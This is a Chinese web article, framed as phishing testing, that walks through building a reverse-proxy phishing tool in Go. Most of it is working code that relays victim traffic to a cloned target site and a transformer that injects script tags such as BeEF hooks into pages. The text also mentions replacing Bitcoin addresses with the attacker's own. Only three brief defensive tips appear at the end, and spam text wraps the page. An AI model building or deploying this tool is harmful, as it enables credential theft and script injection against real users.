91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何在中使用反向代理進行網絡釣魚測試

發布時間:2021-11-18 13:37:52 來源:億速云 閱讀:243 作者:柒染 欄目:網絡管理

今天就跟大家聊聊有關如何在中使用反向代理進行網絡釣魚測試,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

對于一個攻擊者來說,要想實施一次網絡釣魚攻擊,往往需要做大量的準備工作。例如搭建釣魚站點,引誘受害者上鉤,捕獲受害者的登錄憑證等。我將教大家使用Go自動化這些過程。

如何在中使用反向代理進行網絡釣魚測試

代理被用來釣魚TechOnRoad用戶。你能看出它們之間的差別嗎?

使用代理進行網絡釣魚

我們的代理需要接收來自受害者的請求,并在發送到目標網站之前重寫它們。Go有著許多在原生層面對并發編程進行支持的優秀特性,比如Goroutines、Channels等。我們建立了一個簡單的TCP偵聽器,spawn了一個新的goroutine來處理每個傳入的連接和一個goroutine worker來處理請求和響應。結果通過channel從請求處理goroutine傳遞給worker。

// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
  Request  *http.Request
  Response *http.Response
}

// PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.
type PhishingProxy struct {
  client               *http.Client
  targetURL            *url.URL
  responseTransformers []ResponseTransformer
}

func main() {
        // ... flag parsing and whatnot
        phishingProxy := &PhishingProxy{
    client:               client,
    targetURL:            u,
    responseTransformers: responseTransformers,
  }

  transactions := make(chan *HTTPTransaction)
  go processTransactions(transactions)
  for {
    conn, err := server.Accept()
    if err != nil {
      log.Println("Error when accepting request,", err.Error())
    }
    go phishingProxy.HandleConnection(conn, transactions)
  }
}

由于Go的優秀標準庫,請求處理非常簡潔。http包提供ReadRequest方法,用于解析從連接中讀取數據的請求。

defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)
if err != nil {
  log.Println("Error parsing request:", err.Error())
  return
}

將所有內容解析成Golang http.Request后,我們將它傳遞給目標。代理需要重寫來自受害者的HTTP頭,以防止目標站點連接中斷,特別是主機頭和URL。

request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""
resp, err := p.client.Do(request)
if err != nil {
  log.Println("Proxy error:", err.Error())
  return
}

在代理上使用HTTP客戶端,我們發起請求并確保請求成功。

一旦我們得到響應,我們使用傳遞給代理的ResponseTransformers(后面會詳細介紹)轉換它,使用標準庫httputil.DumpResponse函數將響應轉換為字節,并將請求和響應發送給goroutine worker之后處理。 

for _, transformer := range p.responseTransformers {
  transformer.Transform(resp)
}

modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
  log.Println("Error converting requests to bytes:", err.Error())
  return
}

_, err = conn.Write(modifiedResponse)
if err != nil {
  log.Println("Error responding to victim:", err.Error())
  return
}
transactions <- &HTTPTransaction{
  Request:  request,
  Response: resp,
}

我們通過一個channel將HTTP事務傳遞給worker,以加快我們的操作進程避免受害者發生某些錯誤。

只需指向該代理,就能完美克隆目標網站。

// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
type ResponseTransformer interface {
  Transform(response *http.Response) error
}

ResponseTransformer允許你修改響應。我們可以用它來任何想做的事情,例如將自定義JavaScript注入到頁面,或者將比特幣地址替換成我們自己的。這對于那些在默認代理中無法100%工作的網站也很有用。

JavaScriptInjectionTransformer使用GoQuery將HTML響應解析到DOM樹中,并使用我們傳遞給transformer的URL注入腳本標簽。我們可以使用它來注入BeEF hook或繞過網站的安全防護。

// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
type JavaScriptInjectionTransformer struct {
  javascriptURL string
}

// Transform Injects JavaScript into an HTML response.
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
  if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {
    return nil
  }

  // Prevent NewDocumentFromReader from closing the response body.
  responseText, err := ioutil.ReadAll(response.Body)
  responseBuffer := bytes.NewBuffer(responseText)
  response.Body = ioutil.NopCloser(responseBuffer)
  if err != nil {
    return err
  }

  document, err := goquery.NewDocumentFromReader(responseBuffer)
  if err != nil {
    return err
  }

  payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", j.javascriptURL)
  selection := document.
    Find("head").
    AppendHtml(payload).
    Parent()

  html, err := selection.Html()
  if err != nil {
    return err
  }
  response.Body = ioutil.NopCloser(bytes.NewBufferString(html))
  return nil
}

如何防御?

這類的釣魚攻擊并不是沒有破綻,其實只要我們稍微細心觀察,就能避免掉落壞人的陷阱。為此,我向大家提出以下幾點建議:

  • 為你登錄的網站添加書簽,并僅使用該書簽訪問該網站

  • 即使看到綠色安全提示,也要在登錄前仔細檢查網站的URL是否正常

  • 仔細檢查通過電子郵件發送給你的任何鏈接并謹慎點擊

看完上述內容,你們對如何在中使用反向代理進行網絡釣魚測試有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

go
AI

临汾市| 松阳县| 张家港市| 怀仁县| 玉环县| 建平县| 望奎县| 丰宁| 荔浦县| 滕州市| 张北县| 行唐县| 临湘市| 金沙县| 襄垣县| 聊城市| 中卫市| 多伦县| 寿宁县| 大埔县| 滦南县| 岳普湖县| 南京市| 大庆市| 中超| 方正县| 石城县| 梧州市| 万年县| 成武县| 浮山县| 行唐县| 通江县| 南宁市| 临安市| 千阳县| 高要市| 沁水县| 青川县| 蒙阴县| 台北市|